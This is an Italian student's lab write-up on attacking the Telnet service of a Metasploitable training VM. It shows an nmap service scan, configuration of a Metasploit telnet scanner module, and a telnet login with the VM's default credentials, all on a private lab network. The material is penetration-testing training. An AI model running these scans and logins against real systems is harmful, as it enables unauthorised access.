

Progetto Alessandro Moscetti 07/11

Che cos'è un exploit?

Un exploit è del codice malevolo che sfrutta una vulnerabilità già presente nel codice, non ha bisogno di installazioni. Sfruttando la vulnerabilità ci permette di creare un varco nella macchina vittima.

Che cos'è il protocollo Telnet?

Telnet è un protocollo che consente agli utenti di stabilire una connessione remota verso un altro dispositivo su una rete permettendo agli utenti di controllarlo in remoto.

```
—(kali⊕kali)-[~]
 -$ <u>sudo</u> nmap -sV 192.168.1.149
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-07 14:30 CET
Nmap scan report for 192.168.1.149
Host is up (0.0013s latency).
Not shown: 977 closed tcp ports (reset)
         STATE SERVICE
                          VERSION
                           vsftpd 2.3.4
       open ftp
                          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
        open ssh
       open telnet
                          Linux telnetd
                          Postfix smtpd
        open smtp
                          ISC BIND 9.4.2
        open domain
        open http
                          Apache httpd 2.2.8 ((Ubuntu) DAV/2)
              rpcbind
                          2 (RPC #100000)
111/tcp open
              netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
              netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
                          netkit-rsh rexecd
513/tcp open
              login?
              shell
                          Netkit rshd
                          GNU Classpath grmiregistry
1099/tcp open
              java-rmi
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs
                          2-4 (RPC #100003)
2121/tcp open ftp
                          ProFTPD 1.3.1
3306/tcp open mysql
                          MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
                          VNC (protocol 3.3)
5900/tcp open vnc
                          (access denied)
6000/tcp open X11
                          UnrealIRCd
6667/tcp open irc
                          Apache Jserv (Protocol v1.3)
8009/tcp open ajp13
8180/tcp open http
                          Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:E6:33:5F (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.18 seconds
```

Scansione con nmap verso la macchina Metasploitable per vedere le porte aperte con i relativi servizi e la loro versione.

msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) >

In questo caso avevamo già il modulo da utilizzare, andiamo quindi a selezionarlo tramite il comando 'use' seguito dal percorso. Trattandosi di un modulo ausiliario non utilizza il payload.

msf6 auxiliary(s canner/telnet/telnet_version) > show options Module options (auxiliary/scanner/telnet/telnet_version): Current Setting Required Description Name The password for the specified username PASSWORD no The target host(s), see https://docs.met RHOSTS ves The target port (TCP) RPORT yes The number of concurrent threads (max or THREADS yes Timeout for the Telnet probe TIMEOUT ves The username to authenticate as USERNAME no View the full module info with the info, or info -d command. msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.149 rhosts ⇒ 192.168.1.149

Con il comando 'show options' andiamo a vedere le opzioni, per vedere i parametri necessari per l'exploit.

Si possono notare dalla colonna 'Required' dove è presente 'yes', in questo caso 'RHOSTS' è quello mancante.

Per andare ad aggiungerlo utilizziamo il comando 'set' seguito dal nome del parametro mancante e l'informazione.

Andiamo ad eseguire l'attacco tramite il comando 'exploit'. Come possiamo vedere dall'output nell'immagine, il modulo ha recuperato le credenziali d'accesso del servizio.

```
stelnet 192.168.1.149
Trying 192.168.1.149 ...
Connected to 192.168.1.149.
Escape character is '^]'.
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login: msfadmin
Password:
Last login: Tue Nov 7 03:25:05 EST 2023 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
         Link encap:Ethernet HWaddr 08:00:27:e6:33:5f
          inet addr:192.168.1.149 Bcast:192.168.1.255 Mask:255.255.25.0
          inet6 addr: 2a0e:418:9c53:0:a00:27ff:fee6:335f/64 Scope:Global
          inet6 addr: fdd7:23:5c01:2030:a00:27ff:fee6:335f/64 Scope:Global
         inet6 addr: fe80::a00:27ff:fee6:335f/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
         RX packets:32856 errors:0 dropped:0 overruns:0 frame:0
         TX packets:4027 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000
         RX bytes:2274128 (2.1 MB) TX bytes:623760 (609.1 KB)
         Base address:0×d020 Memory:f0200000-f0220000
         Link encap:Local Loopback
         inet addr:127.0.0.1 Mask:255.0.0.0
         inet6 addr: ::1/128 Scope:Host
         UP LOOPBACK RUNNING MTU:16436 Metric:1
         RX packets:1258 errors:0 dropped:0 overruns:0 frame:0
         TX packets:1258 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:0
         RX bytes:527795 (515.4 KB) TX bytes:527795 (515.4 KB)
msfadmin@metasploitable:~$
```

Per concludere verificare il tutto andiamo a collegarci al servizio tramite il comando 'telnet' seguito dall'ip della Metasploitable ed eseguiamo l'accesso con le credenziali trovate in precedenza. Come possiamo vedere dall'immagine è andato a buon fine.

Grazie per l'attenzione.